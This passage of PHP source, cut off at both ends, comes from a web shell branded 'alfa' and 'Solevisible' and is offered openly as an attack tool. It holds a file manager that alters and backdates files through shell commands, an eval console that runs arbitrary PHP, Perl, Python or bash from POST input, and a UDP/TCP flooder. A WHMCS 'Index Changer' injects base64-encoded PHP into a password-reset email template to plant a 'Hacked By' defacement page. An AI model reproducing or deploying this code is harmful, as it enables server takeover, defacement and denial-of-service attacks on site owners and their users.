class="editor_actions">\'.((strtolower($v)==@$_POST[\'alfa2\'])?\'<b><span class="editor_actions"> \'.$v.\' </span> </b>\':$v).\' | </span></a>\';\r\necho \'</div>\';\r\nswitch($_POST[\'alfa2\']){\r\ncase \'view\':case \'edit\':\r\n@chdir($_POST[\'c\']);\r\n$disabled_btn = "";\r\nif(!@is_writable($_POST[\'alfa1\'])&&!_alfa_is_writable($_POST[\'alfa1\'])){\r\n$disabled_btn = "disabled=disabled";\r\n$disabled_btn_style= \'background: #ff0000;color: #fff;\';\r\n}\r\nif(!empty($_POST[\'alfa3\'])){\r\n$_POST[\'alfa3\'] = substr($_POST[\'alfa3\'],1);\r\n$time = @filemtime($_POST[\'alfa1\']);\r\n$fp = @__write_file($_POST[\'alfa1\'],$_POST[\'alfa3\']);\r\nif($chdir_fals&&$alfa_canruncmd){\r\n\t$rname = $alfa1_decoded;\r\n\t$randname = $rname.rand(111,9999);\r\n\t$filepath = dirname($_SERVER["SCRIPT_FILENAME"])."/".$randname;\r\n\tif($fp = @__write_file($filepath ,$_POST[\'alfa3\'])){\r\n\t\talfaEx("mv \'".addslashes($filepath)."\' \'".addslashes($_POST["alfa1"])."\';rm -f \'".addslashes($filepath)."\'");\r\n\t}\r\n}\r\nif($fp){\r\necho \'Saved!<br>\';\r\n@touch($_POST[\'alfa1\'],$time,$time);\r\n}\r\n}\r\necho \'<div class="editor-view"><div class="view-content editor-ace-controller"><div style="display:inline-block;">\'._alfa_load_ace_options("editor").\'<button style="border-radius:10px;" class="button ace-controler" onClick="copyToClipboard(this);">Copy</button> <button class="button ace-controler" onclick="alfaAceToFullscreen(this);">Full Screen</button> <button onclick="var ace_val = alfa_ace_editors.editor[this.getAttribute(\\\'ace_id\\\')].getValue();editor(\\\'\'.addslashes($alfa1_decoded).\'\\\',\\\'edit\\\',\\\'1\\\'+ace_val,\\\'\'.$_POST[\'c\'].\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\',\\\'\'.$ftype.\'\\\');return false;" class="button ace-controler ace-save-btn" style="width: 100px;height: 33px;\'.$disabled_btn_style.\'" \'.$disabled_btn.\'>save</button></div><pre class="ml1 view_ml_content">\';\r\necho htmlspecialchars(__read_file($_POST[\'alfa1\']));\r\necho \'</pre></div></div>\';\r\nbreak;\r\ncase \'highlight\':\r\n@chdir($_POST[\'c\']);\r\nif(@is_readable($_POST[\'alfa1\'])){\r\necho \'<div class="editor-view"><div class="view-content"><div class="ml1" style="background-color: #e1e1e1;color:black;">\';\r\n$code = @highlight_file($_POST[\'alfa1\'],true);\r\necho str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div></div></div>\';\r\n}\r\nbreak;\r\ncase \'delete\':\r\n@chdir($_POST[\'c\']);\r\nif(@is_writable($_POST[\'alfa1\'])||$GLOBALS["glob_chdir_false"]){\r\n$deleted = true;\r\nif(!@unlink($_POST[\'alfa1\'])){\r\n\t$deleted = false;\r\n\tif($alfa_canruncmd){\r\n\t\tif(_alfa_is_writable($_POST[\'alfa1\'])){\r\n\t\t\talfaEx("rm -f \'".addslashes($_POST[\'alfa1\'])."\'");\r\n\t\t\t$deleted = true;\r\n\t\t}\r\n\t}\r\n}\r\nif($deleted)echo \'File Deleted...<script>var elem = $("\'.$_POST[\'alfa4\'].\'").parentNode;elem.parentNode.removeChild(elem);delete editor_files["\'.$_POST[\'alfa4\'].\'"];</script>\';else echo \'Error...\';}\r\nbreak;\r\ncase \'chmod\':\r\n@chdir($_POST[\'c\']);\r\nif(!empty($_POST[\'alfa3\'])){\r\n$perms = 0;\r\nfor($i=strlen($_POST[\'alfa3\'])-1;$i>=0;--$i)\r\n$perms += (int)$_POST[\'alfa3\'][$i]*pow(8, (strlen($_POST[\'alfa3\'])-$i-1));\r\nif(!@chmod($_POST[\'alfa1\'], $perms)){\r\nif($chdir_fals&&$alfa_canruncmd){\r\nalfaEx("cd \'".addslashes($_POST["c"])."\';chmod ".addslashes($_POST[\'alfa3\'])." \'".addslashes($alfa1_decoded)."\'");\r\necho(\'Success!\');\r\n}else{\r\necho \'<font color="#FFFFFF"><b>Can\\\'t set permissions!</b></font><br><script>document.mf.alfa3.value="";</script>\';}\r\n}else{echo(\'Success!\');}\r\n}\r\nclearstatcache();\r\nAlfaNum(8,9,10,7,6,5,4,2,1);\r\nif($chdir_fals){\r\n\t$file_perm = $file_info[5];\r\n}else{\r\n\t$file_perm = substr(sprintf(\'%o\', @fileperms($_POST[\'alfa1\'])),-4);\r\n}\r\necho \'<script>alfa3_="";</script><form onsubmit="editor(\\\'\'.addslashes($_POST[\'alfa1\']).\'\\\',\\\'\'.$_POST[\'alfa2\'].\'\\\',this.chmod.value,\\\'\'.$_POST[\'c\'].\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\',\\\'\'.$ftype.\'\\\');return false;"><input type="text" name="chmod" value="\'.$file_perm.\'"><input type=submit value=" "></form>\';\r\nbreak;\r\ncase \'hexdump\':\r\n@chdir($_POST[\'c\']);\r\n$c = __read_file($_POST[\'alfa1\']);\r\n$n = 0;\r\n$h = array(\'00000000<br>\',\'\',\'\');\r\n$len = strlen($c);\r\nfor ($i=0; $i<$len; ++$i) {\r\n$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\r\nswitch ( ord($c[$i]) ) {\r\ncase 0: $h[2] .= \' \'; break;\r\ncase 9: $h[2] .= \' \'; break;\r\ncase 10: $h[2] .= \' \'; break;\r\ncase 13: $h[2] .= \' \'; break;\r\ndefault: $h[2] .= $c[$i]; break;\r\n}\r\n$n++;\r\nif ($n == 32) {\r\n$n = 0;\r\nif ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}\r\n$h[1] .= \'<br>\';\r\n$h[2] .= "\\n";\r\n}\r\n}\r\necho \'<div class="editor-view"><div class="view-content"><table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#333333><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table></div></div>\';\r\nbreak;\r\ncase \'rename\':\r\n@chdir($_POST[\'c\']);\r\n$alfa1_escape = addslashes($_POST["alfa1"]);\r\n$alfa3_escape = addslashes($_POST["alfa3"]);\r\nif(!empty($_POST[\'alfa3\'])){\r\n$cmd_rename = false;\r\nif($chdir_fals&&$alfa_canruncmd){\r\nif(_alfa_is_writable($_POST[\'alfa1\'])){\r\n$alfa1_escape = addslashes($alfa1_decoded);\r\nalfaEx("cd \'".addslashes($_POST[\'c\'])."\';mv \'".$alfa1_escape."\' \'".addslashes($_POST[\'alfa3\'])."\'");\r\n}else{\r\n$cmd_rename = true;\r\n}\r\n}else{\r\n$alfa1_escape = addslashes($_POST["alfa1"]);\r\n}\r\nif(!@rename($_POST[\'alfa1\'], $_POST[\'alfa3\'])&&$cmd_rename){\r\necho \'Can\\\'t rename!<br>\';}else{echo(\'Renamed!<script>try{$("\'.$_POST[\'alfa4\'].\'").innerHTML = "<div class=\\\'editor-icon\\\'>"+loadType(\\\'\'.$alfa3_escape.\'\\\',\\\'\'.$ftype.\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\')+"</div><div class=\\\'editor-file-name\\\'>\'.$alfa3_escape.\'</div>";editor_files["\'.$_POST[\'alfa4\'].\'"].file = "\'.$alfa3_escape.\'";updateFileEditor("\'.$alfa1_escape.\'", "\'.$alfa3_escape.\'");\'.($ftype == "dir"?"updateDirsEditor(\'".$_POST[\'alfa4\']."\',\'".$alfa1_escape."\');":"").\'}catch(e){console.log(e)}</script>\');$alfa1_escape = $alfa3_escape;}\r\n}\r\necho \'<form onsubmit="editor(\\\'\'.$alfa1_escape.\'\\\',\\\'\'.$_POST[\'alfa2\'].\'\\\',this.name.value,\\\'\'.$_POST[\'c\'].\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\',\\\'\'.$ftype.\'\\\');return false;"><input type="text" name="name" value="\'.addslashes(htmlspecialchars(isset($_POST[\'alfa3\'])&&$_POST[\'alfa3\']!=\'\'?$_POST[\'alfa3\']:$alfa1_decoded)).\'"><input type=submit value=" "></form>\';\r\nbreak;\r\ncase \'touch\':\r\n@chdir($_POST[\'c\']);\r\nif( !empty($_POST[\'alfa3\']) ) {\r\n$time = strtotime($_POST[\'alfa3\']);\r\nif($time){\r\n$touched = false;\r\nif($chdir_fals&&$alfa_canruncmd){\r\n\talfaEx("cd \'".addslashes($_POST["c"])."\';touch -d \'".htmlspecialchars(addslashes($_POST[\'alfa3\']))."\' \'".addslashes($alfa1_decoded)."\'");\r\n\t$touched = true;\r\n}\r\nif(!@touch($_POST[\'alfa1\'],$time,$time)&&!$touched)\r\necho \'Fail!\';\r\nelse\r\necho \'Touched!\';\r\n} else echo \'Bad time format!\';\r\n}\r\nclearstatcache();\r\necho \'<script>alfa3_="";</script><form onsubmit="editor(\\\'\'.addslashes($_POST[\'alfa1\']).\'\\\',\\\'\'.$_POST[\'alfa2\'].\'\\\',this.touch.value,\\\'\'.$_POST[\'c\'].\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\',\\\'\'.$ftype.\'\\\');return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", ($chdir_fals?$file_info[4]:@filemtime($_POST[\'alfa1\']))).\'"><input type=submit value=" "></form>\';\r\nbreak;\r\ncase \'image\':\r\n@chdir($_POST[\'c\']);\r\necho(\'<hr>\');\r\n$file = $_POST[\'alfa1\'];\r\n$image_info = @getimagesize($file);\r\nif(is_array($image_info)||$chdir_fals){\r\n$width = (int)$image_info[0];\r\n$height = (int)$image_info[1];\r\nif($chdir_fals&&$alfa_canruncmd){\r\n\t$source = alfaEx("cat \'".addslashes($file)."\' | base64");\r\n\tlist($width, $height) = explode(":", alfaEx("identify -format \'%w:%h\' \'".addslashes($file)."\'"));\r\n\t$mime = explode(":", alfaEx("file --mime-type \'".addslashes($file)."\'"));\r\n\t$image_info[\'mime\'] = $mime[1];\r\n}else{\r\n\t$source = __ZW5jb2Rlcg(__read_file($file, false));\r\n}\r\n$image_info_h = "Image type = <span>[</span> ".$image_info[\'mime\']." <span>]</span><br>Image Size = <span>[ </span>".$width." x ".$height."<span> ]</span><br>";\r\nif($width > 800){$width = 800;}\r\necho $content = "<div class=\'editor-view\'><div class=\'view-content\'><center>".$image_info_h."<br><img id=\'viewImage\' style=\'max-width:100%;border:1px solid green;\' src=\'data:".$image_info[\'mime\'].";base64,".$source."\' alt=\'".$file."\'></center></div></div><br>";\r\n}\r\nbreak;\r\n}\r\necho \'</div>\';\r\nalfaFooter();\r\n}\r\nfunction findicon($file,$type){\r\n$s = \'http://solevisible.com/icons/\';\r\n$types = array(\'json\',\'ppt\',\'pptx\',\'xls\',\'xlsx\',\'msi\',\'config\',\'cgi\',\'pm\',\'c\',\'cpp\',\'cs\',\'java\',\'aspx\',\'asp\',\'db\',\'ttf\',\'eot\',\'woff\',\'woff2\',\'woff\',\'conf\',\'log\',\'apk\',\'cab\',\'bz2\',\'tgz\',\'dmg\',\'izo\',\'jar\',\'7z\',\'iso\',\'rar\',\'bat\',\'sh\',\'alfa\',\'gz\',\'tar\',\'php\',\'php4\',\'php5\',\'phtml\',\'html\',\'xhtml\',\'shtml\',\'htm\',\'zip\',\'png\',\'jpg\',\'jpeg\',\'gif\',\'bmp\',\'ico\',\'txt\',\'js\',\'rb\',\'py\',\'xml\',\'css\',\'sql\',\'htaccess\',\'pl\',\'ini\',\'dll\',\'exe\',\'mp3\',\'mp4\',\'m4a\',\'mov\',\'flv\',\'swf\',\'mkv\',\'avi\',\'wmv\',\'mpg\',\'mpeg\',\'dat\',\'pdf\',\'3gp\',\'doc\',\'docx\',\'docm\');\r\nif($type!=\'file\'){\r\nreturn ($file==\'..\'?$s.\'back.png\':$s.\'folder.png\');\r\n}else{\r\n$ext = explode(\'.\',$file);\r\n$ext = end($ext);\r\n$ext = strtolower($ext);\r\nreturn (in_array($ext,$types)?$s.$ext.\'.png\':$s.\'notfound.png\');\r\n}\r\n}\r\nfunction alfadlfile(){\r\nif(isset($_POST[\'c\'],$_POST[\'file\'])){\r\n$basename = rawurldecode(basename($_POST[\'file\']));\r\n$_POST[\'file\'] = str_replace("//", "/", $_POST[\'c\'].\'/\'.$basename);\r\n$alfa_canruncmd = _alfa_can_runCommand(true,true);\r\nif(@is_file($_POST[\'file\']) && @is_readable($_POST[\'file\']) || $alfa_canruncmd){\r\nob_start("ob_gzhandler", 4096);\r\nheader("Content-Disposition: attachment; filename=\\"".addslashes($basename)."\\"");\r\nheader("Content-Type: application/octet-stream");\r\nif($GLOBALS["glob_chdir_false"]){\r\n\t$randname = $basename.rand(111,9999);\r\n\t$scriptpath = dirname($_SERVER["SCRIPT_FILENAME"]);\r\n\t$filepath = $scriptpath."/".$randname;\r\n\tif(_alfa_is_writable($scriptpath)){\r\n\t\talfaEx("cp \'".addslashes($_POST["file"])."\' \'".addslashes($filepath)."\'");\r\n\t\treadfile($filepath);\r\n\t\t@unlink($filepath);\r\n\t}else{\r\n\t\talfaEx("cat \'".addslashes($_POST["file"])."\'");\r\n\t}\r\n}else{\r\n\treadfile($_POST[\'file\']);\r\n}\r\n}else echo(\'Error...!\');}}\r\nfunction __alfa_set_cookie($key, $value){\r\n\t$_COOKIE[$key] = $value;\r\n\t@setcookie($key, $value, time()+(86400 * 7), \'/\');\r\n}\r\nfunction alfaphpeval(){\r\nif(isset($_COOKIE["eval_tmpdir"])&&@is_dir($_COOKIE["eval_tmpdir"])){\r\n\t$tempdir = __ZGVjb2Rlcg($_COOKIE["eval_tmpdir"]);\r\n}else{\r\n\t$tempdir = dirname(alfaEx("mktemp"));\r\n\t__alfa_set_cookie("eval_tmpdir", __ZW5jb2Rlcg($tempdir));\r\n}\r\nalfahead();\r\nif(isset($_POST[\'alfa2\']) && ($_POST[\'alfa2\'] == \'ini\')){\r\necho \'<div class=header>\';\r\nob_start();\r\n$INI=ini_get_all();\r\nprint \'<table border=0><tr>\'\r\n.\'<td class="listing"><font class="highlight_txt">Param</td>\'\r\n.\'<td class="listing"><font class="highlight_txt">Global value</td>\'\r\n.\'<td class="listing"><font class="highlight_txt">Local Value</td>\'\r\n.\'<td class="listing"><font class="highlight_txt">Access</td></tr>\';\r\nforeach ($INI as $param => $values)\r\nprint "\\n".\'<tr>\'\r\n.\'<td class="listing"><b>\'.$param.\'</td>\'\r\n.\'<td class="listing">\'.$values[\'global_value\'].\' </td>\'\r\n.\'<td class="listing">\'.$values[\'local_value\'].\' </td>\'\r\n.\'<td class="listing">\'.$values[\'access\'].\' </td></tr>\';\r\n$tmp = ob_get_clean();\r\n$tmp = preg_replace(\'!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU\',\'\',$tmp);\r\n$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);\r\necho str_replace(\'<h1\',\'<h2\', $tmp) .\'</div><br>\';\r\n}\r\nif(isset($_POST[\'alfa2\']) && ($_POST[\'alfa2\'] == \'info\')) {\r\necho \'<div class=header><style>.p {color:#000;}</style>\';\r\nob_start();\r\nphpinfo();\r\n$tmp = ob_get_clean();\r\n$tmp = preg_replace(\'!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU\',\'\',$tmp);\r\n$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);\r\necho str_replace(\'<h1\',\'<h2\', $tmp) .\'</div><br>\';\r\n}\r\nif(isset($_POST[\'alfa2\']) && ($_POST[\'alfa2\'] == \'exten\')) {\r\necho \'<div class=header>\';\r\nob_start();\r\n$EXT=get_loaded_extensions();\r\necho \'<table border=0><tr><td class="listing">\'.implode(\'</td></tr>\'."\\n".\'<tr><td class="listing">\', $EXT).\'</td></tr></table>\'.count($EXT).\' extensions loaded\';\r\necho \'</div><br>\';\r\n}\r\n$lang_html = "";\r\nforeach(array("php"=>"php ~> [ Windows / Linux ]","perl"=>"perl ~> [ Linux ]","python"=>"python ~> [ Linux ]","bash"=>"bash ~> [ Linux ]") as $key=>$val){$lang_html .= \'<option value="\'.$key.\'" \'.($_POST["alfa3"]==$key?"selected":"").\'>\'.$val.\'</option>\';}\r\necho \'<div class=header><Center><a href=javascript:void(0) onclick="g(\\\'phpeval\\\',null,\\\'\\\',\\\'ini\\\')">| INI_INFO | </a><a href=javascript:void(0) onclick="g(\\\'phpeval\\\',null,\\\'\\\',\\\'info\\\')"> | phpinfo |</a><a href=javascript:void(0) onclick="g(\\\'phpeval\\\',null,\\\'\\\',\\\'exten\\\')"> | extensions |</a></center><br><form class="php-evals" name="pf" method="post" onsubmit="var ace_value=geEvalAceValue(this);g(\\\'phpeval\\\',null,ace_value,null,this.language.value); return false;"><div class="txtfont">Select Language: </div> <select name="language" style="width:300px;">\'.$lang_html.\'</select>\'._alfa_load_ace_options("eval").\'<br><br><div class="bigarea" style="position:relative;"><div class="php-evals-ace">\'.(!empty($_POST[\'alfa1\'])?htmlspecialchars($_POST[\'alfa1\']):"<?php\\n\\n\\techo(\'hello alfa !\');\\n\\n?>").\'</div></div><center><input type="submit" value="" style="margin-top:5px"></center>\';\r\necho \'</form><pre id="PhpOutput" style="\'.(empty($_POST[\'alfa1\'])?\'display:none;\':\'\').\'margin-top:5px;" class="ml1">\';\r\nif(!empty($_POST[\'alfa1\'])){\r\nif($_POST[\'alfa3\']=="php"){\r\nob_start();\r\neval(\'?>\'.$_POST[\'alfa1\']);\r\n$result = htmlspecialchars(ob_get_clean());\r\n}elseif(_alfa_can_runCommand()&&$GLOBALS["sys"]=="unix"){\r\n\t$lang = $_POST[\'alfa3\'];\r\n\t$filename = "temp".rand(11111,99999);\r\n\t$temp = $tempdir."/".$filename ;\r\n\t__write_file($filename, $_POST[\'alfa1\']);\r\n\t$result = alfaEx("mv {$filename} {$temp};{$lang} {$temp};rm -f {$temp}");\r\n\t@unlink($filename);\r\n\t@unlink($temp);\r\n}\r\necho \'<textarea class="bigarea">\'.$result.\'</textarea>\';\r\n}\r\necho \'</pre></div>\';\r\nalfafooter();\r\n}\r\nfunction alfahash(){\r\nif(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}\r\nif(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}\r\n$stringTools = array(\r\n\'Base64_encode ( $string )\' => \'__ZW5jb2Rlcg($s)\',\r\n\'Base64_decode ( $string )\' => \'__ZGVjb2Rlcg($s)\',\r\n\'strrev ( $string )\' => \'strrev($s)\',\r\n\'bin2hex ( $string )\' => \'bin2hex($s)\',\r\n\'hex2bin ( $string )\' => \'hex2bin($s)\',\r\n\'md5 ( $string )\' => \'md5($s)\',\r\n\'sha1 ( $string )\' => \'sha1($s)\',\r\n\'hash ( "sha251", $string ) --> sha251\' => \'hash("sha256",$s)\',\r\n\'hash ( "sha384", $string ) --> sha384\' => \'hash("sha384",$s)\',\r\n\'hash ( "sha512", $string ) --> sha512\' => \'hash("sha512",$s)\',\r\n\'crypt ( $string )\' => \'crypt($s)\',\r\n\'crc32 ( $string )\' => \'crc32($s)\',\r\n\'str_rot13 ( $string )\' => \'str_rot13($s)\',\r\n\'urlencode ( $string )\' => \'urlencode($s)\',\r\n\'urldecode ( $string )\' => \'urldecode($s)\',\r\n\'full_urlencode ( $string )\' => \'full_urlencode($s)\',\r\n\'htmlspecialchars ( $string )\' => \'htmlspecialchars($s)\',\r\n\'base64_encode (gzdeflate( $string , 9)) --> Encode\' => \'__ZW5jb2Rlcg(gzdeflate($s, 9))\',\r\n\'gzinflate (base64_decode( $string )) --> Decode\' => \'@gzinflate(__ZGVjb2Rlcg($s))\',\r\n\'str_rot13 (base64_encode( $string )) --> Encode\' => \'str_rot13(__ZW5jb2Rlcg($s))\',\r\n\'base64_decode (str_rot13( $string )) --> Decode\' => \'__ZGVjb2Rlcg(str_rot13($s))\',\r\n\'str_rot13 (base64_encode(gzdeflate( $string , 9))) --> Encode\' => \'str_rot13(__ZW5jb2Rlcg(gzdeflate($s,9)))\',\r\n\'gzinflate (base64_decode(str_rot13( $string ))) --> Decode\' => \'@gzinflate(__ZGVjb2Rlcg(str_rot13($s)))\',\r\n);\r\nalfahead();\r\necho \'<div class=header>\';\r\necho "<form onSubmit=\'g(\\"hash\\",null,this.selectTool.value,this.input.value);return false;\'><div class=\'txtfont\'>Method:</div> <select name=\'selectTool\' style=\'width:400px;\'>";\r\nforeach($stringTools as $k => $v)\r\necho "<option value=\'".htmlspecialchars($v)."\' ".($_POST[\'alfa1\']==$v?\'selected\':\'\').">".$k."</option>";\r\necho "</select> <input type=\'submit\' value=\' \'/><br><textarea name=\'input\' style=\'margin-top:5px\' class=\'bigarea\'>".(empty($_POST[\'alfa1\'])?\'\':htmlspecialchars(@$_POST[\'alfa2\']))."</textarea></form>";\r\nif(!empty($_POST[\'alfa1\'])){\r\n$string = addslashes($_POST[\'alfa2\']);\r\n$string = str_replace(\'\\"\',\'"\',$string);\r\n$alg = $_POST[\'alfa1\'];\r\n$code = str_replace(\'$s\',"\'".$string."\'",$alg);\r\nob_start();\r\neval(\'echo \'.$code.\';\');\r\n$res = ob_get_contents();\r\nob_end_clean();\r\nif(in_array($alg, $stringTools))echo \'<textarea class="bigarea">\'.htmlspecialchars($res).\'</textarea>\';\r\n}\r\necho "</div>";\r\nalfaFooter();\r\n}\r\nfunction alfados(){\r\nalfahead();\r\necho \'<div class=header>\';\r\necho \'<center><p><div class="txtfont_header">| DOS |</div></p><form onSubmit="g(\\\'dos\\\',null,this.host.value,this.time.value,this.port.value,this.m.value); return false;"><div class="txtfont">Method : <select name="m" style="width:80px;"><option value="udp">UDP</option><option value="tcp">TCP</option></select> Host : <input name="host" type="text" value="localhost" size="25" /> Time : <input name="time" type="text" size="15" /> Port : <input name="port" type="text" size="10" /> <input type="submit" value=" " /></div></form></center><br>\';\r\nif(!empty($_POST[\'alfa1\']) && !empty($_POST[\'alfa2\']) && !empty($_POST[\'alfa3\'])){\r\necho __pre();\r\n$packets=0;\r\nignore_user_abort(true);\r\n$exec_time=(int)$_POST[\'alfa2\'];\r\n$time=time();\r\n$max_time=$exec_time+$time;\r\n$host=$_POST[\'alfa1\'];\r\n$port=(int)$_POST[\'alfa3\'];\r\n$method=$_POST[\'alfa4\'];\r\n$out = str_repeat(\'X\',65000);\r\nwhile(1){\r\n$packets++;\r\nif(time() > $max_time){\r\nbreak;\r\n}\r\n$fp = @fsockopen($method.\'://\'.$host, $port, $errno, $errstr, 5);\r\nif($fp){\r\nfwrite($fp, $out);\r\nfclose($fp);\r\n}\r\n}\r\necho "<center>$packets (" . @round(($packets*65)/1024, 2) . " MB) packets averaging ". @round($packets/$exec_time, 2) . " packets per second</center>";\r\necho "</pre>";\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction __pre(){return(\'<pre id="strOutput" style="margin-top:5px" class="ml1">\');}\r\nfunction alfaIndexChanger(){\r\nalfahead();\r\n\r\necho \'<div class=header><center><p><div class="txtfont_header">| Index Changer |</div></p><h3><a href=javascript:void(0) onclick="g(\\\'IndexChanger\\\',null,null,null,\\\'whmcs\\\')">| Whmcs | </a><a href=javascript:void(0) onclick="g(\\\'IndexChanger\\\',null,\\\'vb\\\',null)">| vBulletin | </a><a href=javascript:void(0) onclick="g(\\\'IndexChanger\\\',null,null,\\\'mybb\\\')">| MyBB | </a></h3></center>\';\r\nif(isset($_POST[\'alfa3\'])&&($_POST[\'alfa3\'] == \'whmcs\')){\r\necho __pre();\r\n\r\necho "<center><center><div class=\'txtfont_header\'>| Whmcs |</div>\r\n<p><center>".getConfigHtml(\'whmcs\')."<form onSubmit=\\"g(\'IndexChanger\',null,null,null,\'whmcs\',this.fname.value,this.path.value,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value); return false;\\">\r\n";\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'inputName\' => \'dbh\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'URL\', \'inputName\' => \'path\', \'inputValue\' => \'http://site.com/whmcs\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'File Name\', \'inputName\' => \'fname\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'inputName\' => \'dbn\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'inputName\' => \'dbu\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'inputName\' => \'dbp\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho "<br><div class=\'txtfont\'>| Your Index |</div><br>\r\n<textarea name=index rows=\'19\' cols=\'103\'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>\r\n<input type=\'submit\' value=\' \'>\r\n</form></center></center>";\r\nif(isset($_POST[\'alfa6\'])){\r\n$s0levisible="Powered By Solevisible";\r\n$dbu = $_POST[\'alfa6\'];\r\n$path = $_POST[\'alfa5\'];\r\n$fname = $_POST[\'alfa4\'];\r\n$dbn = $_POST[\'alfa7\'];\r\n$dbp = $_POST[\'alfa8\'];\r\n$dbh = $_POST[\'alfa9\'];\r\n$index = $_POST[\'alfa10\'];\r\n$index = str_replace("\\\'","\'",$index);\r\n$deface = \'$x = base64_decode("\'.__ZW5jb2Rlcg($index).\'"); $solevisible = fopen("\'.$fname.\'","w"); fwrite($solevisible,$x);\';\r\n$saveData = __ZW5jb2Rlcg($deface);\r\n$Def = \'{php}eval(base64_decode("\'.$saveData.\'"));{/php}\';\r\nif(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){\r\n$conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));\r\n$soleSave=@mysqli_query($conn,"select message from tblemailtemplates where name=\'Password Reset Validation\'");\r\n$soleGet = mysqli_fetch_assoc($soleSave);\r\n$tempSave1 = $soleGet[\'message\'];\r\n$tempSave = str_replace("\'","\\\'",$tempSave1);\r\n$inject = "UPDATE tblemailtemplates SET message=\'$Def\' WHERE name=\'Password Reset Validation\'";\r\n$result=@mysqli_query($conn,$inject) or die (mysqli_error($conn));\r\n$create = "insert into tblclients (email) values(\'solevisible@fbi.gov\')";\r\n$result2 =@mysqli_query($conn,$create) or die (mysqli_error($conn));\r\nif(function_exists(\'curl_version\')){\r\n$AlfaSole = new AlfaCURL(true);\r\n$saveurl = $AlfaSole->Send($path."/pwreset.php");\r\n$getToken = preg_match("/name=\\"token\\" value=\\"(.*?)\\"/i",$saveurl,$token);\r\n$AlfaSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&email=solevisible@fbi.gov");\r\n$backdata = "UPDATE tblemailtemplates SET message=\'{$tempSave}\' WHERE name=\'Password Reset Validation\'";\r\n$Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));\r\n__alert(\'File Created...\');\r\necho "<br><pre id=\\"strOutput\\" style=\\"margin-top:5px\\" class=\\"ml1\\"><br><center><font color=red><a target=\'_blank\' href=\'".$path."/".$fname."\'>Click Here !</a></font></b></center><br><br>";\r\n}else{\r\necho "<br><pre id=\\"strOutput\\" style=\\"margin-top:5px\\" class=\\"ml1\\"><br><center><b><font color=\\"#FFFFFF\\">Please go to Target </font><font color=red>\\" ".$path."/pwreset.php \\"</font><br/><font color=\\"#FFFFFF\\"> and reset password with email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color=\\"#FFFFFF\\">and go to</font> <font color=red>\\" ".$path."/".$fname." \\"</font></b></center><br><br>";\r\n}}}}\r\nif(isset($_POST[\'alfa1\']) && ($_POST[\'alfa1\'] == \'vb\')){\r\necho __pre();\r\n\r\necho "<center><center><div class=\'txtfont_header\'>| vBulletin |</div>\r\n<p><center>".getConfigHtml(\'vb\')."<form onSubmit=\\"g(\'IndexChanger\',null,\'vb\',this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value,this.prefix.value,\'>>\'); return false;\\">\r\n";\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'inputName\' => \'dbh\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'inputName\' => \'dbn\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'inputName\' => \'dbu\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'inputName\' => \'dbp\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Prefix\', 